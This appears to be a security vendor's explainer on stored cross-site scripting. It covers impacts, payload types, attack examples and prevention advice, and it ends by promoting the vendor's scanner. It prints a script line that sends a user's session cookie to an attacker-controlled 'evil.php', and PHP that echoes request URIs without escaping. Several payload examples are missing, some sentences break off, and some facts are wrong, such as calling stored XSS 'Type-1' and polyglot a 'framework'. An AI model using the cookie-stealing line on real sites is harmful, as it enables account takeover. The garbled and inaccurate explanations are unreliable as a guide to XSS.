What is Stored XSS And How to Prevent It?
This section discusses Stored XSS vulnerabilities and how to prevent them.
Stored Cross-Site Scripting Explained
In a Stored XSS attack, the vulnerable web application receives user-supplied input from untrusted sources and stores it. This malicious content also gets included in the later HTTP responses sent by the server.
To perform a Stored XSS attack, hackers only need to identify a security vulnerability within the backend application that allows executing malicious requests. This makes it more exploitable as hackers do not need to craft external methods for supplying untrusted inputs to the target application server.
Stored XSS, also known as Type-1 or Persistent XSS attacks, typically rely on unsanitized user input points for scripts permanently stored on the target servers. Since these attacks allow malicious users to control how the browser executes a script, they can typically facilitate a complete user account takeover.
The impact of a successful attack ranges from mild to full-blown compromise depending on the privileges assigned to the valid affected user. Some consequences of successful XSS attacks include:
- Session hijacking attacks
- Privilege escalation
- Disclosure of user files/data
- Installation of malware/Trojan programs
- Redirecting users to trustworthy-looking clone login forms for phishing attempts
- Web content spoofing
Stored XSS differs from reflected XSS. In reflected XSS, the server executes the malicious content and includes it only in the immediate HTTP response, whereas, in stored XSS, the arbitrary code gets stored.
Unlike other XSS attacks where the user has to be logged in at the time of bad code injection, the stored XSS payload is persisted within the web server and is executed by the browser for every user that signs in, making it the more dangerous type of attack.
Hackers have targeted stored XSS vulnerabilities for a long time since the malicious code stored on the target application has an enormous reach.
Stored XSS Payloads
A persistent attack aims to inject bad code into popular user-supplied input points, such as comments on blog posts, username fields, and message boards. The payload lets the malicious user bypass XSS filters and input validation checks.
Knowledge of these payloads is essential for application security professionals looking to test and mitigate the stored XSS vulnerability. Some of these payloads include:
The Polyglot-Based XSS Payload
This type of attack targets a vulnerability in polyglot- a framework that enables the execution of code in multiple contexts in raw form. This creates an XSS injection attack vector since attackers can use polyglot scripts to bypass Content Security Policies (CSPs). A typical polyglot XSS script would look similar to:
Bypassing HTML Entity Encoding
HTML entity encoding forms a typical first line of defense against cross-site scripting vulnerabilities by performing input data validation. Bad actors often craft scripts to bypass or disable HTML encoding, allowing them to supply unvalidated input to the server. The HTML entity bypass code would look similar to:
Improper IMG tags
This attack payload relies on compromised browser rendering to create an attack surface in an
Stored XSS Attack Examples
Ways to exploit stored cross-site scripting vulnerabilities include:
Attackers can steal a session cookie from logged-in, authenticated users. They inject client-side scripts that pass an escaped content of the authentication cookie details for the document. To do this, they only have to include the below code in any form which accepts user input, such as user profiles, private messages, or user forums:
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
This script execution writes the cookie details to the
evil.php file, where attackers can check the result of the script to assume the identity of the user.
Attackers can also target error messages like the classic 404 error page, which notifies users of non-existing pages to inject XSS code. Assuming the site that informs the user about the missing page runs on code similar to:
print "Not found:". urldecode($_SERVER["REQUEST_URI"]);
For example, if a user clicks a non-existent webpage located at
http://darwin.test/non_existent_file, they get the following response:
Not found: /non_existent_file
Attackers can manipulate this error page to include a bad code:
Once the script tags are successfully injected, users can be misled into clicking the malicious link in a phishing email or social engineering tricks.
Preventing Stored XSS Vulnerabilities
Below are the ways to prevent hackers from exploiting the stored XSS vulnerability in a web application:
Perform Proper Input Validation
Input validation is the default primary step to prevent injection attacks. Proper input validation controls must be performed at every application tier to ensure it only accepts trusted user input. Encoding input before sending it to the browser ensures that attackers cannot tamper with user-supplied data.
Web developers should als enforce integrity checks throughout the software lifecycle to ensure the target application does not include dangerous content in its response.
These should include content filtering checks to ensure that input from users does not abuse the business rules to ensure data parameters stay within allowed ranges.
Use a Vulnerability Scanner
It is difficult to test for stored XSS vulnerabilities manually. However, an automated vulnerability scanner can test for all data entry and exit points used to inject and execute malicious scripts.
The Crashtest Security Suite ships with a vulnerability scanner that helps prevent XSS attacks by mapping the relationships between entries and response exit points to ensure that only valid scripts are accepted by the server and executed in the browser. Crashtest Security also includes an automated penetration testing solution to fix stored XSS vulnerabilities before being shipped into production.
Enforce a Strong Content Security Policy (CSP)
<script> tags within the
<html> tag of the page, CSPs prevent attacks by implementing the same-origin policy. The content security policy is set as a
<meta> tag within the
<head> tag of the page.
Escape Dynamic Content
Stored XSS attacks take advantage of flaws in the delivery of dynamic content persisted within the application backend. First, it is essential to keep registered users from submitting raw HTML in input forms. Additionally, any dynamic content and special characters should be escaped so that the browser does not treat them as raw HTML source code but as the contents of HTML tags.